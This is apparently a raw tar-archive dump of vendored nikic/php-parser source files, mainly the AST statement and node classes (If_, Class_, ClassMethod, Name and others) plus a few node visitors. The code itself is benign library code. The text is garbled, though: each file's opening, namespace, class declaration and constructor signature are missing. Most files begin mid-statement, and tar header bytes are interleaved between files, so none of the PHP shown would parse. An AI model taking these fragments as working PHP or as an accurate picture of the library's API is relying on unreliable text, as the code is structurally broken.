getType() : string { return 'Stmt_Enum'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassConst.php000064400000003707147577714370023411 0ustar00attributes = $attributes; $this->flags = $flags; $this->consts = $consts; $this->attrGroups = $attrGroups; } public function getSubNodeNames() : array { return ['attrGroups', 'flags', 'consts']; } /** * Whether constant is explicitly or implicitly public. * * @return bool */ public function isPublic() : bool { return ($this->flags & Class_::MODIFIER_PUBLIC) !== 0 || ($this->flags & Class_::VISIBILITY_MODIFIER_MASK) === 0; } /** * Whether constant is protected. * * @return bool */ public function isProtected() : bool { return (bool) ($this->flags & Class_::MODIFIER_PROTECTED); } /** * Whether constant is private. * * @return bool */ public function isPrivate() : bool { return (bool) ($this->flags & Class_::MODIFIER_PRIVATE); } /** * Whether constant is final. * * @return bool */ public function isFinal() : bool { return (bool) ($this->flags & Class_::MODIFIER_FINAL); } public function getType() : string { return 'Stmt_ClassConst'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TryCatch.php000064400000002013147577714370023043 0ustar00attributes = $attributes; $this->stmts = $stmts; $this->catches = $catches; $this->finally = $finally; } public function getSubNodeNames() : array { return ['stmts', 'catches', 'finally']; } public function getType() : string { return 'Stmt_TryCatch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/For_.php000064400000002451147577714370022215 0ustar00 array(): Init expressions * 'cond' => array(): Loop conditions * 'loop' => array(): Loop expressions * 'stmts' => array(): Statements * @param array $attributes Additional attributes */ public function __construct(array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->init = $subNodes['init'] ?? []; $this->cond = $subNodes['cond'] ?? []; $this->loop = $subNodes['loop'] ?? []; $this->stmts = $subNodes['stmts'] ?? []; } public function getSubNodeNames() : array { return ['init', 'cond', 'loop', 'stmts']; } public function getType() : string { return 'Stmt_For'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Break_.php000064400000001265147577714370022515 0ustar00attributes = $attributes; $this->num = $num; } public function getSubNodeNames() : array { return ['num']; } public function getType() : string { return 'Stmt_Break'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/If_.php000064400000002445147577714370022030 0ustar00 array(): Statements * 'elseifs' => array(): Elseif clauses * 'else' => null : Else clause * @param array $attributes Additional attributes */ public function __construct(Node\Expr $cond, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->cond = $cond; $this->stmts = $subNodes['stmts'] ?? []; $this->elseifs = $subNodes['elseifs'] ?? []; $this->else = $subNodes['else'] ?? null; } public function getSubNodeNames() : array { return ['cond', 'stmts', 'elseifs', 'else']; } public function getType() : string { return 'Stmt_If'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/PropertyProperty.php000064400000001710147577714370024716 0ustar00attributes = $attributes; $this->name = \is_string($name) ? new Node\VarLikeIdentifier($name) : $name; $this->default = $default; } public function getSubNodeNames() : array { return ['name', 'default']; } public function getType() : string { return 'Stmt_PropertyProperty'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Switch_.php000064400000001440147577714370022725 0ustar00attributes = $attributes; $this->cond = $cond; $this->cases = $cases; } public function getSubNodeNames() : array { return ['cond', 'cases']; } public function getType() : string { return 'Stmt_Switch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php000064400000005565147577714370023213 0ustar00stmts as $stmt) { if ($stmt instanceof TraitUse) { $traitUses[] = $stmt; } } return $traitUses; } /** * @return ClassConst[] */ public function getConstants() : array { $constants = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassConst) { $constants[] = $stmt; } } return $constants; } /** * @return Property[] */ public function getProperties() : array { $properties = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof Property) { $properties[] = $stmt; } } return $properties; } /** * Gets property with the given name defined directly in this class/interface/trait. * * @param string $name Name of the property * * @return Property|null Property node or null if the property does not exist */ public function getProperty(string $name) { foreach ($this->stmts as $stmt) { if ($stmt instanceof Property) { foreach ($stmt->props as $prop) { if ($prop instanceof PropertyProperty && $name === $prop->name->toString()) { return $stmt; } } } } return null; } /** * Gets all methods defined directly in this class/interface/trait * * @return ClassMethod[] */ public function getMethods() : array { $methods = []; foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassMethod) { $methods[] = $stmt; } } return $methods; } /** * Gets method with the given name defined directly in this class/interface/trait. * * @param string $name Name of the method (compared case-insensitively) * * @return ClassMethod|null Method node or null if the method does not exist */ public function getMethod(string $name) { $lowerName = strtolower($name); foreach ($this->stmts as $stmt) { if ($stmt instanceof ClassMethod && $lowerName === $stmt->name->toLowerString()) { return $stmt; } } return null; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Throw_.php000064400000001231147577714370022565 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Stmt_Throw'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation.php000064400000000412147577714370025070 0ustar00attributes = $attributes; $this->traits = $traits; $this->adaptations = $adaptations; } public function getSubNodeNames() : array { return ['traits', 'adaptations']; } public function getType() : string { return 'Stmt_TraitUse'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Nop.php000064400000000455147577714370022066 0ustar00 array(): Name of extended interfaces * 'stmts' => array(): Statements * 'attrGroups' => array(): PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->extends = $subNodes['extends'] ?? []; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'name', 'extends', 'stmts']; } public function getType() : string { return 'Stmt_Interface'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/GroupUse.php000064400000001755147577714370023107 0ustar00attributes = $attributes; $this->type = $type; $this->prefix = $prefix; $this->uses = $uses; } public function getSubNodeNames() : array { return ['type', 'prefix', 'uses']; } public function getType() : string { return 'Stmt_GroupUse'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Catch_.php000064400000002151147577714370022506 0ustar00attributes = $attributes; $this->types = $types; $this->var = $var; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['types', 'var', 'stmts']; } public function getType() : string { return 'Stmt_Catch'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ElseIf_.php000064400000001464147577714370022641 0ustar00attributes = $attributes; $this->cond = $cond; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['cond', 'stmts']; } public function getType() : string { return 'Stmt_ElseIf'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/While_.php000064400000001460147577714370022536 0ustar00attributes = $attributes; $this->cond = $cond; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['cond', 'stmts']; } public function getType() : string { return 'Stmt_While'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Echo_.php000064400000001217147577714370022344 0ustar00attributes = $attributes; $this->exprs = $exprs; } public function getSubNodeNames() : array { return ['exprs']; } public function getType() : string { return 'Stmt_Echo'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/DeclareDeclare.php000064400000001601147577714370024143 0ustar00value pair node. * * @param string|Node\Identifier $key Key * @param Node\Expr $value Value * @param array $attributes Additional attributes */ public function __construct($key, Node\Expr $value, array $attributes = []) { $this->attributes = $attributes; $this->key = \is_string($key) ? new Node\Identifier($key) : $key; $this->value = $value; } public function getSubNodeNames() : array { return ['key', 'value']; } public function getType() : string { return 'Stmt_DeclareDeclare'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/EnumCase.php000064400000002222147577714370023024 0ustar00name = \is_string($name) ? new Node\Identifier($name) : $name; $this->expr = $expr; $this->attrGroups = $attrGroups; } public function getSubNodeNames() : array { return ['attrGroups', 'name', 'expr']; } public function getType() : string { return 'Stmt_EnumCase'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Unset_.php000064400000001233147577714370022562 0ustar00attributes = $attributes; $this->vars = $vars; } public function getSubNodeNames() : array { return ['vars']; } public function getType() : string { return 'Stmt_Unset'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Const_.php000064400000001265147577714370022557 0ustar00attributes = $attributes; $this->consts = $consts; } public function getSubNodeNames() : array { return ['consts']; } public function getType() : string { return 'Stmt_Const'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Foreach_.php000064400000003131147577714370023032 0ustar00 null : Variable to assign key to * 'byRef' => false : Whether to assign value by reference * 'stmts' => array(): Statements * @param array $attributes Additional attributes */ public function __construct(Node\Expr $expr, Node\Expr $valueVar, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->expr = $expr; $this->keyVar = $subNodes['keyVar'] ?? null; $this->byRef = $subNodes['byRef'] ?? false; $this->valueVar = $valueVar; $this->stmts = $subNodes['stmts'] ?? []; } public function getSubNodeNames() : array { return ['expr', 'keyVar', 'byRef', 'valueVar', 'stmts']; } public function getType() : string { return 'Stmt_Foreach'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/StaticVar.php000064400000001610147577714370023224 0ustar00attributes = $attributes; $this->var = $var; $this->default = $default; } public function getSubNodeNames() : array { return ['var', 'default']; } public function getType() : string { return 'Stmt_StaticVar'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Expression.php000064400000001315147577714370023465 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Stmt_Expression'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Class_.php000064400000007051147577714370022535 0ustar00 0 : Flags * 'extends' => null : Name of extended class * 'implements' => array(): Names of implemented interfaces * 'stmts' => array(): Statements * 'attrGroups' => array(): PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->flags = $subNodes['flags'] ?? $subNodes['type'] ?? 0; $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->extends = $subNodes['extends'] ?? null; $this->implements = $subNodes['implements'] ?? []; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'flags', 'name', 'extends', 'implements', 'stmts']; } /** * Whether the class is explicitly abstract. * * @return bool */ public function isAbstract() : bool { return (bool) ($this->flags & self::MODIFIER_ABSTRACT); } /** * Whether the class is final. * * @return bool */ public function isFinal() : bool { return (bool) ($this->flags & self::MODIFIER_FINAL); } /** * Whether the class is anonymous. * * @return bool */ public function isAnonymous() : bool { return null === $this->name; } /** * @internal */ public static function verifyModifier($a, $b) { if ($a & self::VISIBILITY_MODIFIER_MASK && $b & self::VISIBILITY_MODIFIER_MASK) { throw new Error('Multiple access type modifiers are not allowed'); } if ($a & self::MODIFIER_ABSTRACT && $b & self::MODIFIER_ABSTRACT) { throw new Error('Multiple abstract modifiers are not allowed'); } if ($a & self::MODIFIER_STATIC && $b & self::MODIFIER_STATIC) { throw new Error('Multiple static modifiers are not allowed'); } if ($a & self::MODIFIER_FINAL && $b & self::MODIFIER_FINAL) { throw new Error('Multiple final modifiers are not allowed'); } if ($a & self::MODIFIER_READONLY && $b & self::MODIFIER_READONLY) { throw new Error('Multiple readonly modifiers are not allowed'); } if ($a & 48 && $b & 48) { throw new Error('Cannot use the final modifier on an abstract class member'); } } public function getType() : string { return 'Stmt_Class'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/InlineHTML.php000064400000001211147577714370023224 0ustar00attributes = $attributes; $this->value = $value; } public function getSubNodeNames() : array { return ['value']; } public function getType() : string { return 'Stmt_InlineHTML'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Finally_.php000064400000001232147577714370023061 0ustar00attributes = $attributes; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['stmts']; } public function getType() : string { return 'Stmt_Finally'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Namespace_.php000064400000001653147577714370023366 0ustar00attributes = $attributes; $this->name = $name; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['name', 'stmts']; } public function getType() : string { return 'Stmt_Namespace'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Return_.php000064400000001241147577714370022742 0ustar00attributes = $attributes; $this->expr = $expr; } public function getSubNodeNames() : array { return ['expr']; } public function getType() : string { return 'Stmt_Return'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Use_.php000064400000002530147577714370022221 0ustar00attributes = $attributes; $this->type = $type; $this->uses = $uses; } public function getSubNodeNames() : array { return ['type', 'uses']; } public function getType() : string { return 'Stmt_Use'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/UseUse.php000064400000003105147577714370022536 0ustar00attributes = $attributes; $this->type = $type; $this->name = $name; $this->alias = \is_string($alias) ? new Identifier($alias) : $alias; } public function getSubNodeNames() : array { return ['type', 'name', 'alias']; } /** * Get alias. If not explicitly given this is the last component of the used name. * * @return Identifier */ public function getAlias() : Identifier { if (null !== $this->alias) { return $this->alias; } return new Identifier($this->name->getLast()); } public function getType() : string { return 'Stmt_UseUse'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Function_.php000064400000004767147577714370023270 0ustar00 false : Whether to return by reference * 'params' => array(): Parameters * 'returnType' => null : Return type * 'stmts' => array(): Statements * 'attrGroups' => array(): PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->byRef = $subNodes['byRef'] ?? false; $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->params = $subNodes['params'] ?? []; $returnType = $subNodes['returnType'] ?? null; $this->returnType = \is_string($returnType) ? new Node\Identifier($returnType) : $returnType; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'byRef', 'name', 'params', 'returnType', 'stmts']; } public function returnsByRef() : bool { return $this->byRef; } public function getParams() : array { return $this->params; } public function getReturnType() { return $this->returnType; } public function getAttrGroups() : array { return $this->attrGroups; } /** @return Node\Stmt[] */ public function getStmts() : array { return $this->stmts; } public function getType() : string { return 'Stmt_Function'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Declare_.php000064400000001561147577714370023027 0ustar00attributes = $attributes; $this->declares = $declares; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['declares', 'stmts']; } public function getType() : string { return 'Stmt_Declare'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Do_.php000064400000001455147577714370022034 0ustar00attributes = $attributes; $this->cond = $cond; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['stmts', 'cond']; } public function getType() : string { return 'Stmt_Do'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Global_.php000064400000001243147577714370022665 0ustar00attributes = $attributes; $this->vars = $vars; } public function getSubNodeNames() : array { return ['vars']; } public function getType() : string { return 'Stmt_Global'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Property.php000064400000005033147577714370023153 0ustar00attributes = $attributes; $this->flags = $flags; $this->props = $props; $this->type = \is_string($type) ? new Identifier($type) : $type; $this->attrGroups = $attrGroups; } public function getSubNodeNames() : array { return ['attrGroups', 'flags', 'type', 'props']; } /** * Whether the property is explicitly or implicitly public. * * @return bool */ public function isPublic() : bool { return ($this->flags & Class_::MODIFIER_PUBLIC) !== 0 || ($this->flags & Class_::VISIBILITY_MODIFIER_MASK) === 0; } /** * Whether the property is protected. * * @return bool */ public function isProtected() : bool { return (bool) ($this->flags & Class_::MODIFIER_PROTECTED); } /** * Whether the property is private. * * @return bool */ public function isPrivate() : bool { return (bool) ($this->flags & Class_::MODIFIER_PRIVATE); } /** * Whether the property is static. * * @return bool */ public function isStatic() : bool { return (bool) ($this->flags & Class_::MODIFIER_STATIC); } /** * Whether the property is readonly. * * @return bool */ public function isReadonly() : bool { return (bool) ($this->flags & Class_::MODIFIER_READONLY); } public function getType() : string { return 'Stmt_Property'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Continue_.php000064400000001304147577714370023247 0ustar00attributes = $attributes; $this->num = $num; } public function getSubNodeNames() : array { return ['num']; } public function getType() : string { return 'Stmt_Continue'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Trait_.php000064400000001751147577714370022554 0ustar00 array(): Statements * 'attrGroups' => array(): PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->stmts = $subNodes['stmts'] ?? []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'name', 'stmts']; } public function getType() : string { return 'Stmt_Trait'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassMethod.php000064400000011070147577714370023533 0ustar00 true, '__destruct' => true, '__call' => true, '__callstatic' => true, '__get' => true, '__set' => true, '__isset' => true, '__unset' => true, '__sleep' => true, '__wakeup' => true, '__tostring' => true, '__set_state' => true, '__clone' => true, '__invoke' => true, '__debuginfo' => true, ]; /** * Constructs a class method node. * * @param string|Node\Identifier $name Name * @param array $subNodes Array of the following optional subnodes: * 'flags => MODIFIER_PUBLIC: Flags * 'byRef' => false : Whether to return by reference * 'params' => array() : Parameters * 'returnType' => null : Return type * 'stmts' => array() : Statements * 'attrGroups' => array() : PHP attribute groups * @param array $attributes Additional attributes */ public function __construct($name, array $subNodes = [], array $attributes = []) { $this->attributes = $attributes; $this->flags = $subNodes['flags'] ?? $subNodes['type'] ?? 0; $this->byRef = $subNodes['byRef'] ?? false; $this->name = \is_string($name) ? new Node\Identifier($name) : $name; $this->params = $subNodes['params'] ?? []; $returnType = $subNodes['returnType'] ?? null; $this->returnType = \is_string($returnType) ? new Node\Identifier($returnType) : $returnType; $this->stmts = array_key_exists('stmts', $subNodes) ? $subNodes['stmts'] : []; $this->attrGroups = $subNodes['attrGroups'] ?? []; } public function getSubNodeNames() : array { return ['attrGroups', 'flags', 'byRef', 'name', 'params', 'returnType', 'stmts']; } public function returnsByRef() : bool { return $this->byRef; } public function getParams() : array { return $this->params; } public function getReturnType() { return $this->returnType; } public function getStmts() { return $this->stmts; } public function getAttrGroups() : array { return $this->attrGroups; } /** * Whether the method is explicitly or implicitly public. * * @return bool */ public function isPublic() : bool { return ($this->flags & Class_::MODIFIER_PUBLIC) !== 0 || ($this->flags & Class_::VISIBILITY_MODIFIER_MASK) === 0; } /** * Whether the method is protected. * * @return bool */ public function isProtected() : bool { return (bool) ($this->flags & Class_::MODIFIER_PROTECTED); } /** * Whether the method is private. * * @return bool */ public function isPrivate() : bool { return (bool) ($this->flags & Class_::MODIFIER_PRIVATE); } /** * Whether the method is abstract. * * @return bool */ public function isAbstract() : bool { return (bool) ($this->flags & Class_::MODIFIER_ABSTRACT); } /** * Whether the method is final. * * @return bool */ public function isFinal() : bool { return (bool) ($this->flags & Class_::MODIFIER_FINAL); } /** * Whether the method is static. * * @return bool */ public function isStatic() : bool { return (bool) ($this->flags & Class_::MODIFIER_STATIC); } /** * Whether the method is magic. * * @return bool */ public function isMagic() : bool { return isset(self::$magicNames[$this->name->toLowerString()]); } public function getType() : string { return 'Stmt_ClassMethod'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Static_.php000064400000001260147577714370022713 0ustar00attributes = $attributes; $this->vars = $vars; } public function getSubNodeNames() : array { return ['vars']; } public function getType() : string { return 'Stmt_Static'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Else_.php000064400000001222147577714370022352 0ustar00attributes = $attributes; $this->stmts = $stmts; } public function getSubNodeNames() : array { return ['stmts']; } public function getType() : string { return 'Stmt_Else'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/HaltCompiler.php000064400000001362147577714370023713 0ustar00attributes = $attributes; $this->remaining = $remaining; } public function getSubNodeNames() : array { return ['remaining']; } public function getType() : string { return 'Stmt_HaltCompiler'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Label.php000064400000001315147577714370022345 0ustar00attributes = $attributes; $this->name = \is_string($name) ? new Identifier($name) : $name; } public function getSubNodeNames() : array { return ['name']; } public function getType() : string { return 'Stmt_Label'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/NullableType.php000064400000001311147577714370022773 0ustar00attributes = $attributes; $this->type = \is_string($type) ? new Identifier($type) : $type; } public function getSubNodeNames() : array { return ['type']; } public function getType() : string { return 'NullableType'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/VarLikeIdentifier.php000064400000000767147577714370023751 0ustar00attributes = $attributes; $this->type = \is_string($type) ? new Identifier($type) : $type; $this->byRef = $byRef; $this->variadic = $variadic; $this->var = $var; $this->default = $default; $this->flags = $flags; $this->attrGroups = $attrGroups; } public function getSubNodeNames() : array { return ['attrGroups', 'flags', 'type', 'byRef', 'variadic', 'var', 'default']; } public function getType() : string { return 'Param'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Const_.php000064400000001713147577714370021626 0ustar00attributes = $attributes; $this->name = \is_string($name) ? new Identifier($name) : $name; $this->value = $value; } public function getSubNodeNames() : array { return ['name', 'value']; } public function getType() : string { return 'Const'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/IntersectionType.php000064400000001266147577714370023714 0ustar00attributes = $attributes; $this->types = $types; } public function getSubNodeNames() : array { return ['types']; } public function getType() : string { return 'IntersectionType'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Arg.php000064400000002447147577714370021117 0ustar00attributes = $attributes; $this->name = $name; $this->value = $value; $this->byRef = $byRef; $this->unpack = $unpack; } public function getSubNodeNames() : array { return ['name', 'value', 'byRef', 'unpack']; } public function getType() : string { return 'Arg'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Identifier.php000064400000003351147577714370022463 0ustar00 true, 'parent' => true, 'static' => true, ]; /** * Constructs an identifier node. * * @param string $name Identifier as string * @param array $attributes Additional attributes */ public function __construct(string $name, array $attributes = []) { $this->attributes = $attributes; $this->name = $name; } public function getSubNodeNames() : array { return ['name']; } /** * Get identifier as string. * * @return string Identifier as string. */ public function toString() : string { return $this->name; } /** * Get lowercased identifier as string. * * @return string Lowercased identifier as string */ public function toLowerString() : string { return strtolower($this->name); } /** * Checks whether the identifier is a special class name (self, parent or static). * * @return bool Whether identifier is a special class name */ public function isSpecialClassName() : bool { return isset(self::$specialClassNames[strtolower($this->name)]); } /** * Get identifier as string. * * @return string Identifier as string */ public function __toString() : string { return $this->name; } public function getType() : string { return 'Identifier'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/AttributeGroup.php000064400000001210147577714370023351 0ustar00attributes = $attributes; $this->attrs = $attrs; } public function getSubNodeNames() : array { return ['attrs']; } public function getType() : string { return 'AttributeGroup'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt.php000064400000000205147577714370021323 0ustar00attributes = $attributes; } public function getType(): string { return 'VariadicPlaceholder'; } public function getSubNodeNames(): array { return []; } }res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Attribute.php000064400000001450147577714370022342 0ustar00attributes = $attributes; $this->name = $name; $this->args = $args; } public function getSubNodeNames() : array { return ['name', 'args']; } public function getType() : string { return 'Attribute'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Name.php000064400000017044147577714370021265 0ustar00 true, 'parent' => true, 'static' => true, ]; /** * Constructs a name node. * * @param string|string[]|self $name Name as string, part array or Name instance (copy ctor) * @param array $attributes Additional attributes */ public function __construct($name, array $attributes = []) { $this->attributes = $attributes; $this->parts = self::prepareName($name); } public function getSubNodeNames() : array { return ['parts']; } /** * Gets the first part of the name, i.e. everything before the first namespace separator. * * @return string First part of the name */ public function getFirst() : string { return $this->parts[0]; } /** * Gets the last part of the name, i.e. everything after the last namespace separator. * * @return string Last part of the name */ public function getLast() : string { return $this->parts[count($this->parts) - 1]; } /** * Checks whether the name is unqualified. (E.g. Name) * * @return bool Whether the name is unqualified */ public function isUnqualified() : bool { return 1 === count($this->parts); } /** * Checks whether the name is qualified. (E.g. Name\Name) * * @return bool Whether the name is qualified */ public function isQualified() : bool { return 1 < count($this->parts); } /** * Checks whether the name is fully qualified. (E.g. \Name) * * @return bool Whether the name is fully qualified */ public function isFullyQualified() : bool { return false; } /** * Checks whether the name is explicitly relative to the current namespace. (E.g. namespace\Name) * * @return bool Whether the name is relative */ public function isRelative() : bool { return false; } /** * Returns a string representation of the name itself, without taking the name type into * account (e.g., not including a leading backslash for fully qualified names). * * @return string String representation */ public function toString() : string { return implode('\\', $this->parts); } /** * Returns a string representation of the name as it would occur in code (e.g., including * leading backslash for fully qualified names. * * @return string String representation */ public function toCodeString() : string { return $this->toString(); } /** * Returns lowercased string representation of the name, without taking the name type into * account (e.g., no leading backslash for fully qualified names). * * @return string Lowercased string representation */ public function toLowerString() : string { return strtolower(implode('\\', $this->parts)); } /** * Checks whether the identifier is a special class name (self, parent or static). * * @return bool Whether identifier is a special class name */ public function isSpecialClassName() : bool { return count($this->parts) === 1 && isset(self::$specialClassNames[strtolower($this->parts[0])]); } /** * Returns a string representation of the name by imploding the namespace parts with the * namespace separator. * * @return string String representation */ public function __toString() : string { return implode('\\', $this->parts); } /** * Gets a slice of a name (similar to array_slice). * * This method returns a new instance of the same type as the original and with the same * attributes. * * If the slice is empty, null is returned. The null value will be correctly handled in * concatenations using concat(). * * Offset and length have the same meaning as in array_slice(). * * @param int $offset Offset to start the slice at (may be negative) * @param int|null $length Length of the slice (may be negative) * * @return static|null Sliced name */ public function slice(int $offset, int $length = null) { $numParts = count($this->parts); $realOffset = $offset < 0 ? $offset + $numParts : $offset; if ($realOffset < 0 || $realOffset > $numParts) { throw new \OutOfBoundsException(sprintf('Offset %d is out of bounds', $offset)); } if (null === $length) { $realLength = $numParts - $realOffset; } else { $realLength = $length < 0 ? $length + $numParts - $realOffset : $length; if ($realLength < 0 || $realLength > $numParts) { throw new \OutOfBoundsException(sprintf('Length %d is out of bounds', $length)); } } if ($realLength === 0) { // Empty slice is represented as null return null; } return new static(array_slice($this->parts, $realOffset, $realLength), $this->attributes); } /** * Concatenate two names, yielding a new Name instance. * * The type of the generated instance depends on which class this method is called on, for * example Name\FullyQualified::concat() will yield a Name\FullyQualified instance. * * If one of the arguments is null, a new instance of the other name will be returned. If both * arguments are null, null will be returned. As such, writing * Name::concat($namespace, $shortName) * where $namespace is a Name node or null will work as expected. * * @param string|string[]|self|null $name1 The first name * @param string|string[]|self|null $name2 The second name * @param array $attributes Attributes to assign to concatenated name * * @return static|null Concatenated name */ public static function concat($name1, $name2, array $attributes = []) { if (null === $name1 && null === $name2) { return null; } elseif (null === $name1) { return new static(self::prepareName($name2), $attributes); } elseif (null === $name2) { return new static(self::prepareName($name1), $attributes); } else { return new static( array_merge(self::prepareName($name1), self::prepareName($name2)), $attributes ); } } /** * Prepares a (string, array or Name node) name for use in name changing methods by converting * it to an array. * * @param string|string[]|self $name Name to prepare * * @return string[] Prepared name */ private static function prepareName($name) : array { if (\is_string($name)) { if ('' === $name) { throw new \InvalidArgumentException('Name cannot be empty'); } return explode('\\', $name); } elseif (\is_array($name)) { if (empty($name)) { throw new \InvalidArgumentException('Name cannot be empty'); } return $name; } elseif ($name instanceof self) { return $name->parts; } throw new \InvalidArgumentException( 'Expected string, array of parts or Name instance' ); } public function getType() : string { return 'Name'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar.php000064400000000142147577714370021601 0ustar00conds = $conds; $this->body = $body; $this->attributes = $attributes; } public function getSubNodeNames() : array { return ['conds', 'body']; } public function getType() : string { return 'MatchArm'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/Expr.php000064400000000205147577714370021312 0ustar00attributes = $attributes; $this->types = $types; } public function getSubNodeNames() : array { return ['types']; } public function getType() : string { return 'UnionType'; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Node/ComplexType.php000064400000000503147577714370022646 0ustar00filterCallback = $filterCallback; } /** * Get found nodes satisfying the filter callback. * * Nodes are returned in pre-order. * * @return Node[] Found nodes */ public function getFoundNodes() : array { return $this->foundNodes; } public function beforeTraverse(array $nodes) { $this->foundNodes = []; return null; } public function enterNode(Node $node) { $filterCallback = $this->filterCallback; if ($filterCallback($node)) { $this->foundNodes[] = $node; } return null; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FirstFindingVisitor.php000064400000002322147577714370025724 0ustar00filterCallback = $filterCallback; } /** * Get found node satisfying the filter callback. * * Returns null if no node satisfies the filter callback. * * @return null|Node Found node (or null if not found) */ public function getFoundNode() { return $this->foundNode; } public function beforeTraverse(array $nodes) { $this->foundNode = null; return null; } public function enterNode(Node $node) { $filterCallback = $this->filterCallback; if ($filterCallback($node)) { $this->foundNode = $node; return NodeTraverser::STOP_TRAVERSAL; } return null; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NameResolver.php000064400000022645147577714370024372 0ustar00nameContext = new NameContext($errorHandler ?? new ErrorHandler\Throwing); 